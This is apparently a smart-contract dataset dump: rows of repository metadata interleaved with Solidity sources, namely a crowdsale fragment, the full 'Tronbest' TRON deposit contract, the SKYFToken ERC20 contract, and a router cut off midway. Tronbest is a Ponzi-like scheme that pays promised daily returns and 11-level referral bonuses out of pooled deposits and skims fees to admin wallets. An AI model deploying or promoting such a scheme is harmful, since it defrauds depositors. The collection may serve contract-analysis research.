if(!(preCrowdsaleOn()||crowdsaleOn())) throw;//only allows during presale/crowdsale
if(contributions[recipient].add(msg.value)>perAddressCap()) throw;//per address cap
uint256 tokens = msg.value.mul(returnRate()); //decimals=18, so no need to adjust for unit
if(crowdsaleTokenSold.add(tokens)>crowdsaleTokenSupply) throw;//max supply limit
balances[recipient] = balances[recipient].add(tokens);
totalSupply = totalSupply.add(tokens);
presaleEtherRaised = presaleEtherRaised.add(msg.value);
contributions[recipient] = contributions[recipient].add(msg.value);
crowdsaleTokenSold = crowdsaleTokenSold.add(tokens);
if(crowdsaleTokenSold == crowdsaleTokenSupply){
//If crowdsale token sold out, end crowdsale
if(block.number < preEndBlock) {
preEndBlock = block.number;
}
endBlock = block.number;
}
if (!multisig.send(msg.value)) throw; //immediately send Ether to multisig address
Transfer(this, recipient, tokens);
}
//Burns the specified amount of tokens from the foundation
//Used to burn unspent funds in foundation DAO
function burn(uint256 _value) external onlyFoundation returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, address(0), _value);
return true;
}
//2-phase ownership transfer;
//prevent transferring ownership to non-existent addresses by accident.
function proposeFoundationTransfer(address newFoundation) external onlyFoundation {
//propose new owner
candidate = newFoundation;
}
function cancelFoundationTransfer() external onlyFoundation {
candidate = address(0);
}
function acceptFoundationTransfer() external {
//new owner accept transfer to complete transfer
if(msg.sender != candidate) throw;
foundation = candidate;
candidate = address(0);
}
//Allow to change the recipient multisig address
function setMultisig(address addr) external onlyFoundation {
if (addr == address(0)) throw;
multisig = addr;
}
function transfer(address _to, uint256 _value, bytes _data) public crowdsaleTransferLock returns (bool success) {
return super.transfer(_to, _value, _data);
}
function transfer(address _to, uint256 _value) public crowdsaleTransferLock {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public crowdsaleTransferLock {
super.transferFrom(_from, _to, _value);
}
//Return rate of token against ether.
function returnRate() public constant returns(uint256) {
if (block.number>=startBlock && block.number<=preEndBlock) return 8888; //Pre-crowdsale
if (block.number>=phase1StartBlock && block.number<=phase1EndBlock) return 8000; //Crowdsale phase1
if (block.number>phase1EndBlock && block.number<=phase2EndBlock) return 7500; //Phase2
if (block.number>phase2EndBlock && block.number<=phase3EndBlock) return 7000; //Phase3
}
//per address cap in Wei: 1000 ether + 1% of ether received at the given time.
function perAddressCap() public constant returns(uint256) {
uint256 baseline = 1000 * (10**18);
return baseline.add(presaleEtherRaised.div(100));
}
function preCrowdsaleOn() public constant returns (bool) {
//return whether presale is on according to block number
return (block.number>=startBlock && block.number<=preEndBlock);
}
function crowdsaleOn() public constant returns (bool) {
//return whether crowdsale is on according to block number
return (block.number>=phase1StartBlock && block.number<=endBlock);
}
function getEtherRaised() external constant returns (uint256) {
//getter function for etherRaised
return presaleEtherRaised;
}
function getTokenSold() external constant returns (uint256) {
//getter function for crowdsaleTokenSold
return crowdsaleTokenSold;
}
}
| 20,139 | 13,918 |
61d87b9a46834d43a47b9a3f3fb726400bce961b6a3faa4c2cc9b1a5ba79a51e
| 19,484 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TL5VEg4w5UroFXPtrjyJyVN2enQQevW3p9_Tronbest.sol
| 4,541 | 17,257 |
//SourceUnit: tronbest.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Tronbest {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 50 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 285,575 | 13,919 |
302a1a19d176245cf1fa2b5fe8ded4072b07ce6f58ed41178932554dd7105f90
| 15,937 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0x5dd0815a4cf119ad91ba045bbbf879f3f7de3c68.sol
| 3,134 | 11,822 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SKYFToken is Ownable {
using SafeMath for uint256;
enum State {Active, Finalized}
State public state = State.Active;
string public constant name = "SKYFchain";
string public constant symbol = "SKYFT";
uint8 public decimals = 18;
uint256 public constant startTime = 1534334400;
uint256 public constant airdropTime = startTime + 365 days;
uint256 public constant shortAirdropTime = startTime + 182 days;
uint256 public totalSupply_ = 1200 * 10 ** 24;
uint256 public constant crowdsaleSupply = 528 * 10 ** 24;
uint256 public constant networkDevelopmentSupply = 180 * 10 ** 24;
uint256 public constant communityDevelopmentSupply = 120 * 10 ** 24;
uint256 public constant reserveSupply = 114 * 10 ** 24;
uint256 public constant bountySupply = 18 * 10 ** 24;
uint256 public constant teamSupply = 240 * 10 ** 24;
address public crowdsaleWallet;
address public networkDevelopmentWallet;
address public communityDevelopmentWallet;
address public reserveWallet;
address public bountyWallet;
address public teamWallet;
address public siteAccount;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) balances;
mapping (address => uint256) airdrop;
mapping (address => uint256) shortenedAirdrop;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed burner, uint256 value);
event Airdrop(address indexed beneficiary, uint256 amount);
constructor(address _crowdsaleWallet
, address _networkDevelopmentWallet
, address _communityDevelopmentWallet
, address _reserveWallet
, address _bountyWallet
, address _teamWallet
, address _siteAccount) public {
require(_crowdsaleWallet != address(0));
require(_networkDevelopmentWallet != address(0));
require(_communityDevelopmentWallet != address(0));
require(_reserveWallet != address(0));
require(_bountyWallet != address(0));
require(_teamWallet != address(0));
require(_siteAccount != address(0));
crowdsaleWallet = _crowdsaleWallet;
networkDevelopmentWallet = _networkDevelopmentWallet;
communityDevelopmentWallet = _communityDevelopmentWallet;
reserveWallet = _reserveWallet;
bountyWallet = _bountyWallet;
teamWallet = _teamWallet;
siteAccount = _siteAccount;
// Issue 528 millions crowdsale tokens
_issueTokens(crowdsaleWallet, crowdsaleSupply);
// Issue 180 millions network development tokens
_issueTokens(networkDevelopmentWallet, networkDevelopmentSupply);
// Issue 120 millions community development tokens
_issueTokens(communityDevelopmentWallet, communityDevelopmentSupply);
// Issue 114 millions reserve tokens
_issueTokens(reserveWallet, reserveSupply);
// Issue 18 millions bounty tokens
_issueTokens(bountyWallet, bountySupply);
// Issue 240 millions team tokens
_issueTokens(teamWallet, teamSupply);
allowed[crowdsaleWallet][siteAccount] = crowdsaleSupply;
emit Approval(crowdsaleWallet, siteAccount, crowdsaleSupply);
allowed[crowdsaleWallet][owner] = crowdsaleSupply;
emit Approval(crowdsaleWallet, owner, crowdsaleSupply);
}
function _issueTokens(address _to, uint256 _amount) internal {
require(balances[_to] == 0);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
}
function _airdropUnlocked(address _who) internal view returns (bool) {
return now > airdropTime
|| (now > shortAirdropTime && airdrop[_who] == 0)
|| !isAirdrop(_who);
}
modifier erc20Allowed() {
require(state == State.Finalized || msg.sender == owner|| msg.sender == siteAccount || msg.sender == crowdsaleWallet);
require (_airdropUnlocked(msg.sender));
_;
}
modifier onlyOwnerOrSiteAccount() {
require(msg.sender == owner || msg.sender == siteAccount);
_;
}
function setSiteAccountAddress(address _address) public onlyOwner {
require(_address != address(0));
uint256 allowance = allowed[crowdsaleWallet][siteAccount];
allowed[crowdsaleWallet][siteAccount] = 0;
emit Approval(crowdsaleWallet, siteAccount, 0);
allowed[crowdsaleWallet][_address] = allowed[crowdsaleWallet][_address].add(allowance);
emit Approval(crowdsaleWallet, _address, allowed[crowdsaleWallet][_address]);
siteAccount = _address;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public erc20Allowed returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_airdropUnlocked(_to));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public erc20Allowed returns (bool) {
return _transferFrom(msg.sender, _from, _to, _value);
}
function _transferFrom(address _who, address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_airdropUnlocked(_to) || _from == crowdsaleWallet);
uint256 _allowance = allowed[_from][_who];
require(_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][_who] = _allowance.sub(_value);
_recalculateAirdrop(_to);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public erc20Allowed returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public erc20Allowed returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public erc20Allowed returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public erc20Allowed {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function finalize() public onlyOwner {
require(state == State.Active);
require(now > startTime);
state = State.Finalized;
uint256 crowdsaleBalance = balanceOf(crowdsaleWallet);
uint256 burnAmount = networkDevelopmentSupply.mul(crowdsaleBalance).div(crowdsaleSupply);
_burn(networkDevelopmentWallet, burnAmount);
burnAmount = communityDevelopmentSupply.mul(crowdsaleBalance).div(crowdsaleSupply);
_burn(communityDevelopmentWallet, burnAmount);
burnAmount = reserveSupply.mul(crowdsaleBalance).div(crowdsaleSupply);
_burn(reserveWallet, burnAmount);
burnAmount = bountySupply.mul(crowdsaleBalance).div(crowdsaleSupply);
_burn(bountyWallet, burnAmount);
burnAmount = teamSupply.mul(crowdsaleBalance).div(crowdsaleSupply);
_burn(teamWallet, burnAmount);
_burn(crowdsaleWallet, crowdsaleBalance);
}
function addAirdrop(address _beneficiary, uint256 _amount) public onlyOwnerOrSiteAccount {
require(_beneficiary != crowdsaleWallet);
require(_beneficiary != networkDevelopmentWallet);
require(_beneficiary != communityDevelopmentWallet);
require(_beneficiary != bountyWallet);
require(_beneficiary != siteAccount);
//Don't allow to block already bought tokens with airdrop.
require(balances[_beneficiary] == 0 || isAirdrop(_beneficiary));
if (shortenedAirdrop[_beneficiary] != 0) {
shortenedAirdrop[_beneficiary] = shortenedAirdrop[_beneficiary].add(_amount);
}
else {
airdrop[_beneficiary] = airdrop[_beneficiary].add(_amount);
}
_transferFrom(msg.sender, crowdsaleWallet, _beneficiary, _amount);
emit Airdrop(_beneficiary, _amount);
}
function isAirdrop(address _who) public view returns (bool result) {
return airdrop[_who] > 0 || shortenedAirdrop[_who] > 0;
}
function _recalculateAirdrop(address _who) internal {
if(state == State.Active && isAirdrop(_who)) {
uint256 initialAmount = airdrop[_who];
if (initialAmount > 0) {
uint256 rate = balances[_who].div(initialAmount);
if (rate >= 4) {
delete airdrop[_who];
} else if (rate >= 2) {
delete airdrop[_who];
shortenedAirdrop[_who] = initialAmount;
}
} else {
initialAmount = shortenedAirdrop[_who];
if (initialAmount > 0) {
rate = balances[_who].div(initialAmount);
if (rate >= 4) {
delete shortenedAirdrop[_who];
}
}
}
}
}
}
| 136,279 | 13,920 |
b02358319a79ac886ec5da3430e64b05b1b88889d692c3ee67cb820c70dce34e
| 19,680 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/49/49b8e7d99040af4e45052052c7a509b4f4e14b9f_BaseV1Router01.sol
| 4,995 | 18,769 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IBaseV1Factory {
function allPairsLength() external view returns (uint);
function isPair(address pair) external view returns (bool);
function pairCodeHash() external pure returns (bytes32);
function getPair(address tokenA, address token, bool stable) external view returns (address);
function createPair(address tokenA, address tokenB, bool stable) external returns (address pair);
}
interface IBaseV1Pair {
function transferFrom(address src, address dst, uint amount) external returns (bool);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function burn(address to) external returns (uint amount0, uint amount1);
function mint(address to) external returns (uint liquidity);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function getAmountOut(uint, address) external view returns (uint);
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
library Math {
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IWFTM {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract BaseV1Router01 {
struct route {
address from;
address to;
bool stable;
}
address public immutable factory;
IWFTM public immutable wftm;
uint internal constant MINIMUM_LIQUIDITY = 10**3;
bytes32 immutable pairCodeHash;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'BaseV1Router: EXPIRED');
_;
}
constructor(address _factory, address _wftm) {
factory = _factory;
pairCodeHash = IBaseV1Factory(_factory).pairCodeHash();
wftm = IWFTM(_wftm);
}
receive() external payable {
assert(msg.sender == address(wftm)); // only accept ETH via fallback from the WETH contract
}
function sortTokens(address tokenA, address tokenB) public pure returns (address token0, address token1) {
require(tokenA != tokenB, 'BaseV1Router: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'BaseV1Router: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address tokenA, address tokenB, bool stable) public view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1, stable)),
pairCodeHash // init code hash)))));
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quoteLiquidity(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'BaseV1Router: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'BaseV1Router: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
// fetches and sorts the reserves for a pair
function getReserves(address tokenA, address tokenB, bool stable) public view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IBaseV1Pair(pairFor(tokenA, tokenB, stable)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountOut(uint amountIn, address tokenIn, address tokenOut) external view returns (uint amount, bool stable) {
address pair = pairFor(tokenIn, tokenOut, true);
uint amountStable;
uint amountVolatile;
if (IBaseV1Factory(factory).isPair(pair)) {
